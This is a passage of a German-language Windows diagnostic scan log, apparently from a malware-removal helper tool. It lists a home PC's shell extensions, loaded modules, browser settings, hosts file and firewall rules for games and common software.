ShellIconOverlayIdentifiers: [ ACloudSynced] -> {5CCE71FA-9F61-4F24-9CD1-98D819B40D68} => C:\Program Files (x86)\Acer\shellext\x64\shellext_win.dll [2017-10-02] (Acer Incorporated -> Acer Incorporated) ShellIconOverlayIdentifiers: [ ACloudSyncing] -> {C1E1456F-C2D8-4C96-870D-35F1E13941EE} => C:\Program Files (x86)\Acer\shellext\x64\shellext_win.dll [2017-10-02] (Acer Incorporated -> Acer Incorporated) ShellIconOverlayIdentifiers: [ ACloudToBeSynced] -> {307523FA-DDC0-4068-983F-2A6B34627744} => C:\Program Files (x86)\Acer\shellext\x64\shellext_win.dll [2017-10-02] (Acer Incorporated -> Acer Incorporated) ShellIconOverlayIdentifiers-x32: [ OneDrive1] -> {BBACC218-34EA-4666-9D7A-C78F2274A524} => C:\Program Files (x86)\Microsoft OneDrive\21.052.0314.0001\amd64\FileSyncShell64.dll [2021-04-10] (Microsoft Corporation -> Microsoft Corporation) ShellIconOverlayIdentifiers-x32: [ OneDrive2] -> {5AB7172C-9C11-405C-8DD5-AF20F3606282} => C:\Program Files (x86)\Microsoft OneDrive\21.052.0314.0001\amd64\FileSyncShell64.dll [2021-04-10] (Microsoft Corporation -> Microsoft Corporation) ShellIconOverlayIdentifiers-x32: [ OneDrive3] -> {A78ED123-AB77-406B-9962-2A5D9D2F7F30} => C:\Program Files (x86)\Microsoft OneDrive\21.052.0314.0001\amd64\FileSyncShell64.dll [2021-04-10] (Microsoft Corporation -> Microsoft Corporation) ShellIconOverlayIdentifiers-x32: [ OneDrive4] -> {F241C880-6982-4CE5-8CF7-7085BA96DA5A} => C:\Program Files (x86)\Microsoft OneDrive\21.052.0314.0001\amd64\FileSyncShell64.dll [2021-04-10] (Microsoft Corporation -> Microsoft Corporation) ShellIconOverlayIdentifiers-x32: [ OneDrive5] -> {A0396A93-DC06-4AEF-BEE9-95FFCCAEF20E} => C:\Program Files (x86)\Microsoft OneDrive\21.052.0314.0001\amd64\FileSyncShell64.dll [2021-04-10] (Microsoft Corporation -> Microsoft Corporation) ShellIconOverlayIdentifiers-x32: [ OneDrive6] -> {9AA2F32D-362A-42D9-9328-24A483E2CCC3} => C:\Program Files (x86)\Microsoft OneDrive\21.052.0314.0001\amd64\FileSyncShell64.dll [2021-04-10] (Microsoft Corporation -> Microsoft Corporation) ShellIconOverlayIdentifiers-x32: [ OneDrive7] -> {C5FF006E-2AE9-408C-B85B-2DFDD5449D9C} => C:\Program Files (x86)\Microsoft OneDrive\21.052.0314.0001\amd64\FileSyncShell64.dll [2021-04-10] (Microsoft Corporation -> Microsoft Corporation) ShellIconOverlayIdentifiers-x32: [ DropboxExt01] -> {FB314ED9-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ShellIconOverlayIdentifiers-x32: [ DropboxExt02] -> {FB314EDF-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ShellIconOverlayIdentifiers-x32: [ DropboxExt03] -> {FB314EE1-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ShellIconOverlayIdentifiers-x32: [ DropboxExt04] -> {FB314EDB-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ShellIconOverlayIdentifiers-x32: [ DropboxExt05] -> {FB314EDA-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ShellIconOverlayIdentifiers-x32: [ DropboxExt06] -> {FB314EDC-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ShellIconOverlayIdentifiers-x32: [ DropboxExt07] -> {FB314EDD-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ShellIconOverlayIdentifiers-x32: [ DropboxExt08] -> {FB314EE0-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ShellIconOverlayIdentifiers-x32: [ DropboxExt09] -> {FB314EE2-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ShellIconOverlayIdentifiers-x32: [ DropboxExt10] -> {FB314EDE-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ContextMenuHandlers1: [ FileSyncEx] -> {CB3D0F55-BC2C-4C1A-85ED-23ED75B5106B} => C:\Program Files (x86)\Microsoft OneDrive\21.052.0314.0001\amd64\FileSyncShell64.dll [2021-04-10] (Microsoft Corporation -> Microsoft Corporation) ContextMenuHandlers1: [DropboxExt] -> {ECD97DE5-3C8F-4ACB-AEEE-CCAB78F7711C} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ContextMenuHandlers1: [PDFArchitect7_ManagerExt] -> {21989F59-B260-4302-90C3-E51740E03639} => C:\Program Files\PDF Architect 7\context-menu.dll [2019-10-07] (pdfforge GmbH -> pdfforge GmbH) ContextMenuHandlers1: [PDFCreator.ShellContextMenu] -> {d9cea52e-100d-4159-89ea-76e845bc13e1} => D:\Programme\PDFCreator\PDFCreatorShell.DLL -> Keine Datei ContextMenuHandlers2-x32: [Emsisoft Shell Extension] -> {AB77609F-2178-4E6F-9C4B-44AC179D937A} => C:\Program Files\Emsisoft Anti-Malware\A2CONTMENU.DLL [2015-10-21] (Emsisoft Ltd -> Emsisoft Ltd) ContextMenuHandlers2: [Emsisoft Shell Extension x64] -> {E3F21FC7-6D65-48E7-B62B-E9ED8200C764} => C:\Program Files\Emsisoft Anti-Malware\A2CONTMENU64.DLL [2015-10-21] (Emsisoft Ltd -> Emsisoft Ltd) ContextMenuHandlers3-x32: [Emsisoft Shell Extension] -> {AB77609F-2178-4E6F-9C4B-44AC179D937A} => C:\Program Files\Emsisoft Anti-Malware\A2CONTMENU.DLL [2015-10-21] (Emsisoft Ltd -> Emsisoft Ltd) ContextMenuHandlers3: [Emsisoft Shell Extension x64] -> {E3F21FC7-6D65-48E7-B62B-E9ED8200C764} => C:\Program Files\Emsisoft Anti-Malware\A2CONTMENU64.DLL [2015-10-21] (Emsisoft Ltd -> Emsisoft Ltd) ContextMenuHandlers4: [ FileSyncEx] -> {CB3D0F55-BC2C-4C1A-85ED-23ED75B5106B} => C:\Program Files (x86)\Microsoft OneDrive\21.052.0314.0001\amd64\FileSyncShell64.dll [2021-04-10] (Microsoft Corporation -> Microsoft Corporation) ContextMenuHandlers4: [DropboxExt] -> {ECD97DE5-3C8F-4ACB-AEEE-CCAB78F7711C} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ContextMenuHandlers5: [ FileSyncEx] -> {CB3D0F55-BC2C-4C1A-85ED-23ED75B5106B} => C:\Program Files (x86)\Microsoft OneDrive\21.052.0314.0001\amd64\FileSyncShell64.dll [2021-04-10] (Microsoft Corporation -> Microsoft Corporation) ContextMenuHandlers5: [DropboxExt] -> {ECD97DE5-3C8F-4ACB-AEEE-CCAB78F7711C} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ContextMenuHandlers5: [igfxcui] -> {3AB1675A-CCFF-11D2-8B20-00A0C93CB1F4} => -> Keine Datei ContextMenuHandlers5: [igfxDTCM] -> {9B5F5829-A529-4B12-814A-E81BCB8D93FC} => C:\WINDOWS\System32\DriverStore\FileRepository\igdlh64.inf_amd64_82119d956c80af5a\igfxDTCM.dll [2017-02-07] (Microsoft Windows Hardware Compatibility Publisher -> Intel Corporation) ContextMenuHandlers5: [NvCplDesktopContext] -> {3D1975AF-48C6-4f8e-A182-BE0E08FA86A9} => C:\WINDOWS\system32\nvshext.dll [2017-05-01] (NVIDIA Corporation -> NVIDIA Corporation) ContextMenuHandlers6-x32: [Emsisoft Shell Extension] -> {AB77609F-2178-4E6F-9C4B-44AC179D937A} => C:\Program Files\Emsisoft Anti-Malware\A2CONTMENU.DLL [2015-10-21] (Emsisoft Ltd -> Emsisoft Ltd) ContextMenuHandlers6: [Emsisoft Shell Extension x64] -> {E3F21FC7-6D65-48E7-B62B-E9ED8200C764} => C:\Program Files\Emsisoft Anti-Malware\A2CONTMENU64.DLL [2015-10-21] (Emsisoft Ltd -> Emsisoft Ltd) ==================== Codecs (Nicht auf der Ausnahmeliste) ==================== ==================== Verknüpfungen & WMI ======================== ==================== Geladene Module (Nicht auf der Ausnahmeliste) ============= 2016-12-27 12:53 - 2016-06-15 03:12 - 001298640 _____ (NVIDIA Corporation PE Sign v2014 -> NVIDIA Corporation) [Datei ist nicht signiert] C:\Program Files\NVIDIA Corporation\NvStreamSrv\rxinput.dll 2016-12-27 12:54 - 2016-06-15 03:12 - 001767760 _____ (NVIDIA Corporation PE Sign v2014 -> NVIDIA Corporation) [Datei ist nicht signiert] C:\WINDOWS\system32\nvspcap64.dll 2018-12-10 11:29 - 2018-12-10 11:29 - 000438272 _____ (The curl library, hxxps://curl.haxx.se/) [Datei ist nicht signiert] C:\Program Files\PDF Architect 7\libcurl.dll 2021-04-08 23:34 - 2020-10-13 19:14 - 001282048 _____ (The OpenSSL Project, hxxp://www.openssl.org/) [Datei ist nicht signiert] D:\Games\Origin\LIBEAY32.dll 2021-04-08 23:34 - 2020-10-13 19:14 - 000279040 _____ (The OpenSSL Project, hxxp://www.openssl.org/) [Datei ist nicht signiert] D:\Games\Origin\ssleay32.dll 2021-04-08 23:34 - 2020-10-13 19:14 - 001611264 _____ (The Qt Company Ltd) [Datei ist nicht signiert] D:\Games\Origin\platforms\qwindows.dll 2021-04-08 23:34 - 2020-10-13 19:14 - 005487104 _____ (The Qt Company Ltd) [Datei ist nicht signiert] D:\Games\Origin\Qt5Core.dll 2021-04-08 23:34 - 2020-10-13 19:14 - 005841920 _____ (The Qt Company Ltd) [Datei ist nicht signiert] D:\Games\Origin\Qt5Gui.dll 2021-04-08 23:34 - 2020-10-13 19:14 - 001179136 _____ (The Qt Company Ltd) [Datei ist nicht signiert] D:\Games\Origin\Qt5Network.dll 2021-04-08 23:34 - 2020-10-13 19:14 - 000146432 _____ (The Qt Company Ltd) [Datei ist nicht signiert] D:\Games\Origin\Qt5WebSockets.dll 2021-04-08 23:34 - 2020-10-13 19:14 - 005089792 _____ (The Qt Company Ltd) [Datei ist nicht signiert] D:\Games\Origin\Qt5Widgets.dll 2021-04-08 23:34 - 2020-10-13 19:14 - 000184832 _____ (The Qt Company Ltd) [Datei ist nicht signiert] D:\Games\Origin\Qt5Xml.dll ==================== Alternate Data Streams (Nicht auf der Ausnahmeliste) ======== ==================== Abgesicherter Modus (Nicht auf der Ausnahmeliste) ================== ==================== Verknüpfungen (Nicht auf der Ausnahmeliste) ================= ==================== Internet Explorer (Nicht auf der Ausnahmeliste) ========== HKU\S-1-5-21-3625877240-3343899472-1711248771-1001\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://acer17win10.msn.com/?pc=ACTE HKU\S-1-5-21-3625877240-3343899472-1711248771-1001\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://acer17win10.msn.com/?pc=ACTE SearchScopes: HKU\S-1-5-21-3625877240-3343899472-1711248771-1001 -> DefaultScope {719D3D69-4D32-4D6A-8008-477B306B8CEB} URL = SearchScopes: HKU\S-1-5-21-3625877240-3343899472-1711248771-1001 -> {719D3D69-4D32-4D6A-8008-477B306B8CEB} URL = BHO: PDF Architect 7 Helper -> {2B035CAB-1F3D-4DE6-A32D-39B9E5F456D0} -> C:\Program Files\PDF Architect 7\creator\plugins\IEAddin\creator-ie-helper.dll [2019-10-07] (pdfforge GmbH -> pdfforge GmbH) BHO: Skype for Business Browser Helper -> {31D09BA0-12F5-4CCE-BE8A-2923E76605DA} -> C:\Program Files (x86)\Microsoft Office\root\VFS\ProgramFilesX64\Microsoft Office\Office16\OCHelper.dll [2021-03-04] (Microsoft Corporation -> Microsoft Corporation) BHO-x32: PDF Architect 7 Helper -> {2B035CAB-1F3D-4DE6-A32D-39B9E5F456D0} -> C:\Program Files (x86)\PDF Architect 7\creator\plugins\IEAddin\creator-ie-helper.dll [2019-10-07] (pdfforge GmbH -> pdfforge GmbH) Toolbar: HKLM - PDF Architect 7 Toolbar - {61E612A7-2382-4570-8D3F-42BC136DDAD7} - C:\Program Files\PDF Architect 7\creator\plugins\IEAddin\creator-ie-plugin.dll [2019-10-07] (pdfforge GmbH -> pdfforge GmbH) Toolbar: HKLM-x32 - PDF Architect 7 Toolbar - {61E612A7-2382-4570-8D3F-42BC136DDAD7} - C:\Program Files (x86)\PDF Architect 7\creator\plugins\IEAddin\creator-ie-plugin.dll [2019-10-07] (pdfforge GmbH -> pdfforge GmbH) Handler-x32: mso-minsb-roaming.16 - {83C25742-A9F7-49FB-9138-434302C88D07} - C:\Program Files (x86)\Microsoft Office\root\Office16\MSOSB.DLL [2021-04-08] (Microsoft Corporation -> Microsoft Corporation) Handler-x32: mso-minsb.16 - {42089D2D-912D-4018-9087-2B87803E93FB} - C:\Program Files (x86)\Microsoft Office\root\Office16\MSOSB.DLL [2021-04-08] (Microsoft Corporation -> Microsoft Corporation) Handler-x32: osf-roaming.16 - {42089D2D-912D-4018-9087-2B87803E93FB} - C:\Program Files (x86)\Microsoft Office\root\Office16\MSOSB.DLL [2021-04-08] (Microsoft Corporation -> Microsoft Corporation) Handler-x32: osf.16 - {5504BE45-A83B-4808-900A-3A5C36E7F77A} - C:\Program Files (x86)\Microsoft Office\root\Office16\MSOSB.DLL [2021-04-08] (Microsoft Corporation -> Microsoft Corporation) ==================== Hosts Inhalt: ========================= (Wenn benötigt kann der Hosts: Schalter in die Fixlist aufgenommen werden um die Hosts Datei zurückzusetzen.) 2015-10-30 09:24 - 2015-10-30 09:21 - 000000824 _____ C:\WINDOWS\system32\drivers\etc\hosts ==================== Andere Bereiche =========================== (Aktuell gibt es keinen automatisierten Fix für diesen Bereich.) HKLM\System\CurrentControlSet\Control\Session Manager\Environment\\Path -> C:\Program Files (x86)\Intel\iCLS Client\;C:\Program Files\Intel\iCLS Client\;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Program Files (x86)\NVIDIA Corporation\PhysX\Common;C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\DAL;C:\Program Files\Intel\Intel(R) Management Engine Components\DAL;C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\IPT;C:\Program Files\Intel\Intel(R) Management Engine Components\IPT;%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;%SYSTEMROOT%\System32\WindowsPowerShell\v1.0\;%SYSTEMROOT%\System32\OpenSSH\ HKU\S-1-5-21-3625877240-3343899472-1711248771-1001\Control Panel\Desktop\\Wallpaper -> C:\Users\Jules\AppData\Local\Microsoft\Windows\Themes\RoamedThemeFiles\DesktopBackground\wp6495686-the-mandalorian-4k-wallpapers.jpg DNS Servers: 192.168.2.1 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System => (ConsentPromptBehaviorAdmin: 5) (ConsentPromptBehaviorUser: 3) (EnableLUA: 1) HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer => (SmartScreenEnabled: RequireAdmin) ist aktiviert. ==================== MSCONFIG/TASK MANAGER Deaktivierte Einträge == (Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er entfernt.) HKLM\...\StartupApproved\Run32: => "Dropbox" ==================== Firewall Regeln (Nicht auf der Ausnahmeliste) ================ (Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.) FirewallRules: [{DA338872-7A49-49ED-ADF7-BB7037B1B227}] => (Allow) C:\Program Files\WindowsApps\Microsoft.SkypeApp_15.61.100.0_x86__kzf8qxf38zg5c\Skype\Skype.exe => Keine Datei FirewallRules: [{7BF02B86-664C-4025-888E-A5525CA6D9F1}] => (Allow) C:\Program Files\WindowsApps\Microsoft.SkypeApp_15.61.100.0_x86__kzf8qxf38zg5c\Skype\Skype.exe => Keine Datei FirewallRules: [{5F9A9502-930F-4A31-9DC0-6842E38C6F6B}] => (Allow) C:\Program Files\WindowsApps\Microsoft.SkypeApp_15.61.100.0_x86__kzf8qxf38zg5c\Skype\Skype.exe => Keine Datei FirewallRules: [{6FAF44F2-B36D-4982-A045-E1CFE1E616E9}] => (Allow) C:\Program Files\WindowsApps\Microsoft.SkypeApp_15.61.100.0_x86__kzf8qxf38zg5c\Skype\Skype.exe => Keine Datei FirewallRules: [{2C11698B-988F-4C8B-AF85-270F095AE7E4}] => (Allow) D:\Games\Steam\steamapps\common\ARK\ShooterGame\Binaries\Win64\ShooterGame.exe (Wildcard Properties LLC -> Epic Games, Inc.) FirewallRules: [{DD3BB507-898A-440C-9422-D74E41189C0A}] => (Allow) D:\Games\Steam\steamapps\common\ARK\ShooterGame\Binaries\Win64\ShooterGame.exe (Wildcard Properties LLC -> Epic Games, Inc.) FirewallRules: [{8CA1902E-4B28-4EA3-B3DA-232E378DB9BE}] => (Allow) D:\Games\Steam\steamapps\common\ARK\ShooterGame\Binaries\Win64\ShooterGame_BE.exe (BattlEye Innovations e.K. -> BattlEye Innovations) FirewallRules: [{B1EE416D-7800-44EA-9EF7-40E0A5F92139}] => (Allow) D:\Games\Steam\steamapps\common\ARK\ShooterGame\Binaries\Win64\ShooterGame_BE.exe (BattlEye Innovations e.K. -> BattlEye Innovations) FirewallRules: [{09C1893F-62D3-4567-AF27-EE72C78D311B}] => (Allow) D:\Games\Steam\steamapps\common\rocketleague\Binaries\RocketLeague.exe => Keine Datei FirewallRules: [{06BB61C7-1542-414A-8550-4E2F8824454E}] => (Allow) D:\Games\Steam\steamapps\common\rocketleague\Binaries\RocketLeague.exe => Keine Datei FirewallRules: [{6AAF3D61-A5D5-4A02-A7BC-3F30FAFCF5D3}] => (Allow) D:\Games\Steam\steamapps\common\Tabletop Simulator\Tabletop Simulator.exe () [Datei ist nicht signiert] FirewallRules: [{6F5F9614-23AE-41D8-91F4-E2D32E11B389}] => (Allow) D:\Games\Steam\steamapps\common\Tabletop Simulator\Tabletop Simulator.exe () [Datei ist nicht signiert] FirewallRules: [UDP Query User{0280CCA7-F035-4BB8-8EB1-7280C6B31BB5}D:\games\borderlands3\oakgame\binaries\win64\borderlands3.exe] => (Allow) D:\games\borderlands3\oakgame\binaries\win64\borderlands3.exe (Gearbox Software, L.L.C. -> Gearbox Software) FirewallRules: [TCP Query User{448D5AA9-80B1-448C-8B71-9FFC25F425A6}D:\games\borderlands3\oakgame\binaries\win64\borderlands3.exe] => (Allow) D:\games\borderlands3\oakgame\binaries\win64\borderlands3.exe (Gearbox Software, L.L.C. -> Gearbox Software) FirewallRules: [{3C067497-169E-4007-9DAD-DD587271821D}] => (Allow) D:\Games\Steam\steamapps\common\The Witcher 3\bin\x64\witcher3.exe (CD Projekt Red) [Datei ist nicht signiert] FirewallRules: [{F48613DF-A0A0-4903-B071-3BAD53499819}] => (Allow) D:\Games\Steam\steamapps\common\The Witcher 3\bin\x64\witcher3.exe (CD Projekt Red) [Datei ist nicht signiert] FirewallRules: [{CD1811BB-BA6E-4BF9-81CA-2AAD8EAEE7BE}] => (Block) C:\games\diablo iii\x64\diablo iii64.exe (Blizzard Entertainment, Inc. -> Blizzard Entertainment) FirewallRules: [{0631AE1F-AF3F-42E5-B96E-5DB7065C199B}] => (Block) C:\games\diablo iii\x64\diablo iii64.exe (Blizzard Entertainment, Inc. -> Blizzard Entertainment) FirewallRules: [UDP Query User{1F4DFE5F-941D-44A6-8B75-85D7613A4ECD}C:\games\diablo iii\x64\diablo iii64.exe] => (Allow) C:\games\diablo iii\x64\diablo iii64.exe (Blizzard Entertainment, Inc. -> Blizzard Entertainment) FirewallRules: [TCP Query User{D8316A17-C68E-403C-919E-3004A750724B}C:\games\diablo iii\x64\diablo iii64.exe] => (Allow) C:\games\diablo iii\x64\diablo iii64.exe (Blizzard Entertainment, Inc. -> Blizzard Entertainment) FirewallRules: [{77280BE7-99D3-4BE7-9D4C-2C6EE81BB429}] => (Allow) D:\Games\Steam\steamapps\common\rocketleague\Binaries\RocketLeague.exe => Keine Datei FirewallRules: [{F4115A94-2DE0-4BFA-BA7C-E3D5EA26B9D7}] => (Allow) D:\Games\Steam\steamapps\common\rocketleague\Binaries\RocketLeague.exe => Keine Datei FirewallRules: [{3AEC491C-E5EA-41E7-84F2-B2825B386D04}] => (Allow) D:\Games\Steam\steamapps\common\Far Cry Primal\bin\FCPrimal.exe (UBISOFT ENTERTAINMENT INC. -> Ubisoft Entertainment) FirewallRules: [{CAC06880-E059-4B4E-BC27-C543EC86F52A}] => (Allow) D:\Games\Steam\steamapps\common\Far Cry Primal\bin\FCPrimal.exe (UBISOFT ENTERTAINMENT INC. -> Ubisoft Entertainment) FirewallRules: [{B1AFB542-B16F-4168-876D-7D8745BE1E17}] => (Allow) D:\Games\Steam\steamapps\common\FarCry5\bin\ArcadeEditor64.exe => Keine Datei FirewallRules: [{1B62E219-CB9D-4406-8968-E2DE8EFCC447}] => (Allow) D:\Games\Steam\steamapps\common\FarCry5\bin\ArcadeEditor64.exe => Keine Datei FirewallRules: [UDP Query User{3103A70A-8C28-49D1-ABEA-D5FB88A3DD74}D:\games\borderlands3\oakgame\binaries\win64\borderlands3.exe] => (Allow) D:\games\borderlands3\oakgame\binaries\win64\borderlands3.exe (Gearbox Software, L.L.C. -> Gearbox Software) FirewallRules: [TCP Query User{2F1825CC-DA6B-4DB9-8664-68D999D9EC21}D:\games\borderlands3\oakgame\binaries\win64\borderlands3.exe] => (Allow) D:\games\borderlands3\oakgame\binaries\win64\borderlands3.exe (Gearbox Software, L.L.C. -> Gearbox Software) FirewallRules: [{9D4A704B-B3F9-4CAD-AB55-F8652DADCF34}] => (Allow) D:\Games\Steam\steamapps\common\Far Cry 3\bin\FC3UpdaterSteam.exe => Keine Datei FirewallRules: [{35E57769-6622-44EB-BDFB-CF9204EAF763}] => (Allow) D:\Games\Steam\steamapps\common\Far Cry 3\bin\FC3UpdaterSteam.exe => Keine Datei FirewallRules: [{78634D9D-A90A-4E17-BC37-D70A21C08E1E}] => (Allow) D:\Games\Steam\steamapps\common\Frostpunk\Frostpunk.exe (Marek Ziemak -> 11 bit studios S.A.) FirewallRules: [{567BF3BD-E784-457B-BCFC-650CED5B2C68}] => (Allow) D:\Games\Steam\steamapps\common\Frostpunk\Frostpunk.exe (Marek Ziemak -> 11 bit studios S.A.) FirewallRules: [UDP Query User{13353463-938B-4FC3-BB98-CEAEF8B00AE2}C:\users\jules\appdata\roaming\spotify\spotify.exe] => (Allow) C:\users\jules\appdata\roaming\spotify\spotify.exe (Spotify AB -> Spotify Ltd) FirewallRules: [TCP Query User{504C55DB-263F-4391-B9A2-1665560D2AF8}C:\users\jules\appdata\roaming\spotify\spotify.exe] => (Allow) C:\users\jules\appdata\roaming\spotify\spotify.exe (Spotify AB -> Spotify Ltd) FirewallRules: [{5AA46A53-F705-479D-A2DF-F35EC6DBE891}] => (Allow) D:\Games\Ubisoft\Ubisoft Game Launcher\games\World in Conflict\wic_ds.exe => Keine Datei FirewallRules: [{4E98DDFE-FBE7-42D8-9F5B-0D86EAD5F8A0}] => (Allow) D:\Games\Ubisoft\Ubisoft Game Launcher\games\World in Conflict\wic_ds.exe => Keine Datei FirewallRules: [{F7B8FC38-DE50-435B-8D37-3EA8334208B3}] => (Allow) D:\Games\Ubisoft\Ubisoft Game Launcher\games\World in Conflict\wic_online.exe => Keine Datei FirewallRules: [{A130234E-1319-497A-8DCB-36227A71373C}] => (Allow) D:\Games\Ubisoft\Ubisoft Game Launcher\games\World in Conflict\wic_online.exe => Keine Datei FirewallRules: [{A8D8D133-E9EF-461E-8E67-6D4787A4FFFB}] => (Allow) D:\Games\Ubisoft\Ubisoft Game Launcher\games\World in Conflict\wic.exe => Keine Datei FirewallRules: [{1E6F1333-212D-4C80-8679-31096889E415}] => (Allow) D:\Games\Ubisoft\Ubisoft Game Launcher\games\World in Conflict\wic.exe => Keine Datei FirewallRules: [UDP Query User{6DE73DEC-8DD8-4E28-8776-C38E899C69B6}C:\users\jules\appdata\roaming\spotify\spotify.exe] => (Allow) C:\users\jules\appdata\roaming\spotify\spotify.exe (Spotify AB -> Spotify Ltd) FirewallRules: [TCP Query User{12693942-8F57-4B00-BFBF-5FA110977090}C:\users\jules\appdata\roaming\spotify\spotify.exe] => (Allow) C:\users\jules\appdata\roaming\spotify\spotify.exe (Spotify AB -> Spotify Ltd) FirewallRules: [{6B074943-9E7F-4000-AA52-9485C043BB75}] => (Allow) D:\Games\Steam\steamapps\common\MiniMetro\MiniMetro.exe () [Datei ist nicht signiert] FirewallRules: [{7E85BD55-8512-45F8-9FE7-E76A3AEFFDC5}] => (Allow) D:\Games\Steam\steamapps\common\MiniMetro\MiniMetro.exe () [Datei ist nicht signiert] FirewallRules: [{199601A3-ACB0-4B23-9F7A-87D0AF9FF38D}] => (Allow) D:\Games\Steam\steamapps\common\DOOM 3 BFG Edition\Doom3BFG.exe (Bethesda Softworks -> id Software LLC, a ZeniMax Media company) [Datei ist nicht signiert] FirewallRules: [{7A31CD24-2B54-449C-8DC8-7FA8A2638A58}] => (Allow) D:\Games\Steam\steamapps\common\DOOM 3 BFG Edition\Doom3BFG.exe (Bethesda Softworks -> id Software LLC, a ZeniMax Media company) [Datei ist nicht signiert] FirewallRules: [{6C5C4E2D-3E94-4042-A175-BC1F5F6BE9D5}] => (Allow) D:\Games\InitEngine.exe (Related Designs Software -> ) [Datei ist nicht signiert] FirewallRules: [{D32B4D0B-9536-45D8-B69D-4BA04419CE50}] => (Allow) D:\Games\InitEngine.exe (Related Designs Software -> ) [Datei ist nicht signiert] FirewallRules: [{48BB8C25-FD02-48DF-9257-8401273416B1}] => (Allow) D:\Games\AutoPatcher.exe (Related Designs Software) [Datei ist nicht signiert] FirewallRules: [{2F2E32CF-EB7D-478D-8E6B-B7EBCA523E0C}] => (Allow) D:\Games\AutoPatcher.exe (Related Designs Software) [Datei ist nicht signiert] FirewallRules: [{83F1CC2F-A41B-4149-8CD3-BF3FB5900426}] => (Allow) D:\Games\Anno5.exe (Related Designs Software -> ) [Datei ist nicht signiert] FirewallRules: [{9485E079-4D24-4FE8-BFEB-38434C3C7DA8}] => (Allow) D:\Games\Anno5.exe (Related Designs Software -> ) [Datei ist nicht signiert] FirewallRules: [UDP Query User{2A3DA46B-C7B1-4D80-8B95-F9A1058124B7}C:\games\hearthstone\hearthstone.exe] => (Allow) C:\games\hearthstone\hearthstone.exe (Blizzard Entertainment, Inc. -> ) FirewallRules: [TCP Query User{99C5E9D6-FD9A-41AD-AAED-1CF63C3971FE}C:\games\hearthstone\hearthstone.exe] => (Allow) C:\games\hearthstone\hearthstone.exe (Blizzard Entertainment, Inc. -> ) FirewallRules: [{6469EA82-7593-46FF-B383-9057591ECBF6}] => (Allow) C:\Windows\SysWOW64\PnkBstrB.exe => Keine Datei FirewallRules: [{D19414A3-7EB6-41CC-8B93-9B3AAFD1E25D}] => (Allow) C:\Windows\SysWOW64\PnkBstrB.exe => Keine Datei FirewallRules: [{41E095EE-8521-45A1-A57F-76977C06D8A8}] => (Allow) C:\Windows\SysWOW64\PnkBstrA.exe => Keine Datei FirewallRules: [{A76AB32F-AB85-474E-B2BC-DAC0F5AEDC2D}] => (Allow) C:\Windows\SysWOW64\PnkBstrA.exe => Keine Datei FirewallRules: [{C8F26DE7-C32E-44CB-A6B8-00595FD7CDF1}] => (Allow) D:\Games\Steam\steamapps\common\Far Cry 3\bin\FC3UpdaterSteam.exe => Keine Datei FirewallRules: [{E7876115-5C96-4CFC-B8ED-8D6F1F266719}] => (Allow) D:\Games\Steam\steamapps\common\Far Cry 3\bin\FC3UpdaterSteam.exe => Keine Datei FirewallRules: [{49FDF14D-D8F8-4581-B540-E05F0E509E1C}] => (Allow) D:\Games\Steam\bin\cef\cef.win7\steamwebhelper.exe => Keine Datei FirewallRules: [{70710E77-CB6F-41C7-B6F9-30C0C02C1166}] => (Allow) D:\Games\Steam\bin\cef\cef.win7\steamwebhelper.exe => Keine Datei FirewallRules: [{E8BBEA83-2116-466B-96F6-CEB60B7893F2}] => (Allow) D:\Games\Steam\Steam.exe (Valve -> Valve Corporation) FirewallRules: [{BC5A7EBB-CE64-4991-9DCE-B39FAE9831A3}] => (Allow) D:\Games\Steam\Steam.exe (Valve -> Valve Corporation) FirewallRules: [{E802CBAA-442A-493E-97DC-39820BF7853E}] => (Allow) C:\Program Files (x86)\NVIDIA Corporation\NetService\NvNetworkService.exe (NVIDIA Corporation -> NVIDIA Corporation) FirewallRules: [{9D93A79B-4FB2-4345-9D4C-DEABC950F15D}] => (Allow) C:\Program Files 